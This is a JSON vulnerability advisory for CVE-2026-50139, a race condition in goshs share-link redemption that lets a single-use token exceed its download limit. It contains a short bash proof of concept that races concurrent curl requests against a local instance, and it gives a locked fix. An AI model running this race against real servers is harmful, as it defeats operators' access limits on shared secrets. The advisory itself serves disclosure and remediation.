{"id":"CVE-2026-50139","aliases":["GHSA-j48m-h7xq-2xpj","GO-2026-5881"],"url":"https://o3.security/vulnerability/CVE-2026-50139","summary":"goshs: Share-link ?token=… redemption races past download limit","details":"# Share-link `?token=…` redemption races past download limit\n\n**Ecosystem:** Go\n**Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`)\n**Affected:** `<= v2.0.9` (every release that shipped the share-link feature)\n\n## Summary\n\n`ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap.\n\n## Details\n\n[`httpserver/handler.go:968-1018`](https://github.com/patrickhener/goshs/blob/v2.0.9/httpserver/handler.go#L968-L1018):\n\n```go\nfs.sharedLinksMu.RLock()\nentry, ok := fs.SharedLinks[token]\nfs.sharedLinksMu.RUnlock()                       // <-- released here\n\nif entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {\n    // ...serve file...                          // <-- whole transfer happens unlocked\n}\n\nfs.sharedLinksMu.Lock()                          // <-- re-acquired only now\ncurrent.Downloaded++\nif current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }\nfs.sharedLinksMu.Unlock()\n```\n\nBetween line 978 (`RUnlock`) and line 1008 (`Lock`), any number of goroutines can interleave and each observes the same pre-increment limit.\n\n## Proof of concept\n\n```bash\ngoshs -p 18000 -d /tmp/r -b admin:pw &\necho data > /tmp/r/f.txt\n\n# operator issues a one-shot share\nSHARE=$(curl -su admin:pw \"http://localhost:18000/f.txt?share&limit=1\")\nTK=$(echo \"$SHARE\" | sed -n 's/.*token=\\([^\"]*\\)\".*/\\1/p')\n\n# attacker races two redemptions\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" & \\\ncurl -so /dev/null -w \"%{http_code}\\n\" \"http://localhost:18000/?token=$TK\" & \\\nwait\n# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice\n```\n\nReproduced 5/5 times in a row on a 2026-era M-series Mac during verification.\n\n## Impact\n\nA \"single-use\" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.\n\n## Suggested fix\n\nReserve under the write lock *before* serving — refund only if the serve fails:\n\n```go\nfs.sharedLinksMu.Lock()\nentry, ok := fs.SharedLinks[token]\nif !ok || time.Now().After(entry.Expires) ||\n   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {\n    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return\n}\nentry.Downloaded++\nif entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {\n    delete(fs.SharedLinks, token)\n} else {\n    fs.SharedLinks[token] = entry\n}\nfs.sharedLinksMu.Unlock()\n// ...serve...\n```\n\nAdd a regression test that races two requests against a `limit=1` token and asserts exactly one `200`.\n\nReporter: Nishant Verma. Reproduced against `goshs v2.0.9` (commit `8fc1e91`) on 2026-05-27.","published":"2026-08-18T15:01:36.900Z","modified":"2026-10-24T02:30:22.806917159Z","cvss":{"score":5.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":{"score":0.00246,"percentile":0.16018,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"goshs.de/goshs/v2","fixedVersion":"2.1.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50139.json"},{"type":"ADVISORY","url":"https://github.com/goshs-labs/goshs/security/advisories/GHSA-j48m-h7xq-2xpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50139"},{"type":"WEB","url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-j48m-h7xq-2xpj"},{"type":"PACKAGE","url":"https://github.com/patrickhener/goshs"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-24T02:30:22.806917159Z"}}